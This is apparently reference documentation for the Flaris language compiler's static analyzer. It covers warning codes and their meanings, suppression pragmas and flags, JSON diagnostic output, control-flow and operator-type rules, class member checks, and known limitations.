Code	Name	Symbol	Meaning
2000	`unused-symbol`	`UNUSED_SYMBOL`	Declared but never read - local, parameter, global or import
2001	`possible-nil-flow`	`POSSIBLE_NIL_FLOW`	A `guard` expression can only be nil, so the guard always raises. A value that *may* be nil is what `guard` is for and is not reported
2002	`float-eq`	`FLOAT_EQ_SUGGEST_APPROX`	Exact `==` / `!=` on two floats; use the approximate operator `≈`
2003	`oob-index`	`OOB_INDEX_POSSIBLE`	Constant index outside the bounds of an array literal
2004	`infinite-loop`	`INFINITE_LOOP`	Constant-true loop with no `break`, `return` or `throw`
2005	—	`RECURSION_NO_BASE`	*Reserved* - no recursion analysis is implemented
2006	`unreachable-code`	`UNREACHABLE_CODE`	Statement after a `return`, `throw`, `break` or `continue`
2007	—	`STYLE`	*Reserved* - no style rules are implemented
2008	`shadowed-variable`	`SHADOWED_VARIABLE`	Declaration hides one in an enclosing scope
2009	`empty-block`	`EMPTY_BLOCK`	Empty function, `if`, `else`, loop, `try`, `catch` or `finally` body
2010	—	`TYPE_ERROR`	*Reserved* - a store outside a variable's declared type is error 1000
2011	`no-effect`	`NO_EFFECT`	Expression statement that only computes a value: a literal, a name, an operator, member, index or conditional expression, or an array/object literal built from such parts. A call is never reported, whatever its purity - a pure function may still raise, and `Type.Assert(v, "int");` is a call made for exactly that
2012	—	`CLASS_RESERVED_NAME`	*Reserved* - instances have no built-in properties, so no method name is reserved
2013	`duplicate-key`	`DUPLICATE_KEY`	Repeated key in an object literal - the first value is kept
2014	`duplicate-case`	`DUPLICATE_CASE`	Repeated `case` value, or a `case Class:` after a case for the same class or one of its bases - only the first match runs
2015	`override-mismatch`	`OVERRIDE_MISMATCH`	An override takes a different number of parameters than the method it replaces
2016	`class-shadows-module`	`CLASS_SHADOWS_MODULE`	A non-static method is named after a built-in namespace *and* the class calls that namespace - the call resolves to the method and yields `nil`

Code	Name	Symbol	Meaning
2017	`nil-argument`	`NIL_ARGUMENT`	A literal `nil` passed to a required parameter of a user-declared function typed `int`, `float`, `char` or `bool` - the VM passes the type's zero (`0`, `0.0`, `'\0'`, `false`), so this is a warning; declare the parameter `T|nil` to receive the `nil`. Only the literal is reported (a variable holding nil may be a `let x = nil;` awaiting its store); a parameter of any other type holds `nil` as a value, and builtins are nil-safe, so neither is reported
2018	`mismatched-compare`	`MISMATCHED_COMPARE`	`==`, `!=` or an ordering between values that can never be equal: the numeric types (int, float, char, bool) compare with each other by value, `nil` with `nil`, and every other type only with its own kind - so `"5" == 5` is always false and `"5" != 5` always true. Only reported when both operand types are known; a comparison with `nil` is left to the nil rules
2019	`self-assign`	`SELF_ASSIGN`	`x = x`, or the same member chain on both sides (`this.a = this.a`); compound stores (`x += x`) are not reported
2020	`self-compare`	`SELF_COMPARE`	A name compared with itself (`x == x`, `x < x`) - the result is fixed. A float operand is not reported, because `f != f` is the NaN test
2021	`switch-not-exhaustive`	`SWITCH_NOT_EXHAUSTIVE`	A `switch` with no `default` whose every `case` label is a member of one enum, and some member is not handled - a value of that member matches nothing. Members sharing a value are covered together. A switch with a `default` (even an empty one) or with any label that is not a member of that enum is not reported, and neither is an enum imported from a library
2022	`is-not-class`	`IS_NOT_CLASS`	`x is T` where `T` names a type without being a class - a conversion function (`int`), a built-in module (`String`) or a `Type.*` code. `is` tests for an instance of a class and otherwise compares identity, so this is not a type test; use `Type.IsInt(x)` and the other `Type.Is*` functions. `is` with a class, and identity tests such as `x is nil`, are not reported
2023	`no-such-member`	`NO_SUCH_MEMBER`	A member read (not a call) on a value proven to be a string, char, array, fiber or stream, naming no function of its module: such values have no properties, so the read is always `nil` - `arr.length` is usually meant as `len(arr)`. Calling such a name is error 1003
2024	`async-discarded`	`ASYNC_DISCARDED`	A call to an `async` function or method used as a statement. The call only creates the fiber, and its body runs when the fiber is awaited, so a discarded fiber never runs. `await` the call, or keep the fiber and await it later

Every warning above (the *Reserved* codes excepted) is suppressible; **no error is**. A raw number works anywhere a name does, e.g. `-Wno-2000`.

Reserved codes

Codes marked *Reserved* are never emitted. Their numbers stay retired rather than being reused, so tooling that matches on a code can rely on it never changing meaning. `2010` retired when a store outside a declared type became error 1000; `2012` retired with the built-in instance properties it warned about.

`1009 IMPORT_RESOLUTION` is deliberately narrow rather than reserved: it fires only when the dependency's compiled `.flx` is found locally and its export list, read from the file header, does not contain the imported name. Telling "this module does not exist" apart from "this module exports nothing" would need a resolver with no side effects, and the runtime's module resolver performs network fetches and version-pin enforcement -

neither is acceptable during a compile - so an import that cannot be found, and every `http(s)://` import, is left to the runtime loader.

Suppressing an unused-symbol warning

Prefix the name with `_`. This works for **locals, parameters and globals**:

```
fn handler(_event, payload) {   // _event is intentionally unused
    let _debugOnly = payload;   // kept for inspection, never read
    return payload;
}
```

Loop variables and `catch` variables are exempt automatically - iterating or catching without using the value is normal.

Suppressing a specific warning

`// flaris-ignore[<name>]` silences the listed warnings. A pragma trailing a line of code applies to that line; one on a line of its own applies to the next line, so it can sit above what it refers to:

```
global buildStamp = 1;   // flaris-ignore[unused-symbol]

// flaris-ignore[shadowed-variable, unused-symbol]
let value = compute();
```

With no bracket list (`// flaris-ignore`) it silences every warning on the target line. Names are the **Name** column of the warning table above; a raw number (`2000`) also works.

Warnings only. There is deliberately no way to suppress an error: an error means the program is invalid and would not survive code generation.

Warning flags

Flag	Effect
`-Wno-<name>`	Silence one warning across the whole compile, e.g. `-Wno-unused-symbol`. `<name>` is the **Name** column of the warning table above (or its raw number). An unknown or non-suppressible name is a hard error, so a typo cannot silently do nothing.
`-Werror`	Any warning that survives suppression fails the compile
`-Werror=<name>`	Fail the compile when that one warning is reported, e.g. `-Werror=no-effect`. The finding is still printed as a warning; only the verdict changes. Repeat the flag for several names
`-w`	Silence all warnings

`-Wno-` and `-Werror=` reject an unknown name, and refuse error codes, rather than silently doing nothing. All four flags also apply to `VM.Eval` and `VM.Compile`.

Machine-readable diagnostics

`--diagnostics json` writes a single JSON array to **stdout** instead of the human-readable form, for editors and CI:

```
flarisvm --compile app.fls app.flx --diagnostics json
```

```
[
  {"severity":"warning","code":2000,"name":"unused-
symbol","file":"app.fls","line":1,"column":1,"endLine":1,"endColumn":22,"message":"Global
'unusedOne' is never read."},
  {"severity":"error","code":1000,"name":"type-
error","file":"app.fls","line":4,"column":29,"message":"Operator '-' does not accept string as its
left operand."}
]
```

`endLine` and `endColumn` are present when the analyzer knows the extent of the construct - declarations and most statements carry one; a diagnostic on an expression reports its start only. The range is half-open: the end is one past the last character.

In this mode stdout carries nothing but the array - the usual summary and fingerprint lines are suppressed so the output can be piped straight into a parser. Diagnostics keep their sorted order.

Suggestions

When a name does not resolve, the analyzer offers the closest declared name within a short edit distance:

```
1003: 'totl' is not defined. Did you mean 'total'?
1003: Module 'Math' has no member 'Flor'. Did you mean 'Floor'?
1014: Class 'Counter' has no member 'cont'. Did you mean 'count'?
```

Nothing is suggested when no candidate is close enough. Ties are broken by name, so the suggestion is reproducible.

Control flow rules

- `break` and `continue` require an enclosing loop; `break` also accepts an enclosing `switch`.
- `return` requires an enclosing function.
- Control may **not** leave a `finally` body via `return`, `break` or `continue` (matching C# CS0157). A `throw` from a `finally` is allowed, and a `break` / `continue` targeting a loop opened *inside* the `finally` is fine.
- A function with a declared return type must return on every path. Falling off the end would yield nil, which a typed caller cannot detect.
- An assignment may not be the whole condition of an `if`, `while` or `for` (1013): `if (x = 1)` is almost always a typo for `==`, and wrapping it in parentheses does not change that. An assignment as an *operand* of the condition is fine, and is the sanctioned way to assign and test in one step: `while ((n = Next()) != nil) { ... }`.
- Control may not leave the init block of `new C(...) { ... }` via `return`, `break` or `continue`: the block runs as the instance's own initializer.

These rules apply inside **function literals** exactly as they do in named functions - a lambda body is its own control-flow scope.

Operator operand checking

Arithmetic and bitwise operators are checked against the operand types the VM actually accepts:

Operators	Accepted operands
`-` `*` `/` `%` `^^`	`int`, `float`, `bool`, `char`, `nil`
`&` `|` `^` `<<` `>>` `>>>`	`int`, `char`, `bool`, `nil` - a `float` operand is an error, not a widening
`~`	`int`, `nil`
`+`	**anything** - see below

A `nil` operand is accepted everywhere and makes the result `nil`. `+` is never a type error: it is overloaded by operand type (numeric add, char and container concatenation/merge), and when no numeric, array or object rule applies it falls back to string concatenation, so any operand pair produces a value (`true + 5` is `"true5"`). The full per-type rules are listed under R5 - Operator Precedence.

A diagnostic is only reported when an operand's type is fully known and shares nothing with the operator's domain. Dynamic values - unannotated parameters, `any`, results of dynamic calls - are never diagnosed.

Bitwise and shift operators never produce a `float`, because the VM refuses to run them on the float lane at all: the result is an `int`, or `nil` for a `nil` operand. Comparisons, `in`, `is`, `≈`, `&&` and `||` produce a `bool`. A `+` with a string on the left produces a string whatever the right operand is, since none of the numeric, array or object rules can apply.

Class checks

Instances are sealed: the member set is fixed by the class body (see Sealed instance fields). Where the analyzer can prove which class a value belongs to, it checks member access against that class - own members and inherited ones:

```
class Counter {
    let count = 0;
    fn Constructor(start) { this.count = start; }
    fn Bump(step) { this.count = this.count + step; }
}

let c = new Counter(1, 2, 3);   // 1001 – Constructor expects 0–1 arguments
c.Nope();                       // 1014 – Counter has no method 'Nope'
Console.WriteLine(c.missing);   // 1014 – Counter has no member 'missing'
```

A receiver's class is known when it is `this`, a local initialised by `new C()`, or a parameter annotated with a class type (`fn f(v: Vec2)`). Any other receiver is dynamic and is not checked.

A field holds its annotation, or, without one, the type of its initializer: `let count = 0;` is an int field, `let name = "";` a string field. A `nil` or dynamic initializer leaves the field untyped. Storing a value that can never be of the field's type is error 1000, through `this`, a bare field name in a method, or a receiver whose class is known:

```
class Counter {
    let count = 0;
```

```
    fn Bump() { this.count = this.count + 0.5; }   // 1000 — count is an int field
}
```

A value that only *may* be of another type (an unannotated parameter, a union) is not reported at compile time. The VM checks every store into a typed field, whatever path it takes - an untyped receiver, `Class.SetField`, `Json.Deserialize`:

- an `int` stored into a `float` field is converted to float, and a `char` into an `int` field to its code point;
- `nil` fits a reference type (string, array, object, instance, ...) or a type that names it (`int|nil`); into an `int`, `float`, `bool` or `char` field it is refused;
- any array fits an array field;
- anything else must be of the field's type.

A refused store raises `TypeMismatch` (22) and leaves the field unchanged; `Class.SetField` returns `false` and `Json.Deserialize` returns `nil` instead.

Base classes may be declared in any order - `class Dog : Animal` compiles with `Animal` declared later in the file, just as calling a function declared later does.

A class whose base is imported from a compiled module is **lenient**: its full member set is not visible, so no membership check fires for it and the VM's runtime guard applies instead.

Limitations

- **Argument minimums are a lower bound.** An unannotated parameter is indistinguishable from an optional one once parsed, so a missing argument on an unannotated parameter is not reported. Passing too many is always caught.
- **Typed arrays and unions share bits.** `[string]` and the union `array|string` have the same internal representation; an ambiguous type is read as a typed array.
- **Member checks need a provable receiver.** Chained access (`a.b.Method()`) and values from dynamic sources are not checked.
- **Nil-narrowing is branch- and guard-local.** See Nil-narrowing for what is narrowed. It applies to bare variables only - a narrowed `a.b` or `a[i]` could be invalidated by any intervening write, so member and index expressions stay wide. Narrowing also does not reach the right-hand side of the guard itself (`if (x != nil && x.Length() > 0)`), the branches of a `?:`, or a `while` condition, and `break` / `continue` do not count as an early exit the way `return` and `throw` do.
- **Enum exhaustiveness is judged from the labels.** A `switch` is treated as an enum switch (code 2021) only when every label is a member of the same local enum; the type of the subject is not consulted, so a switch with one literal label, or over an imported enum, is never reported.

Definite-assignment analysis is not needed: `let x;` without an initializer is a syntax error, so every variable is assigned where it is declared.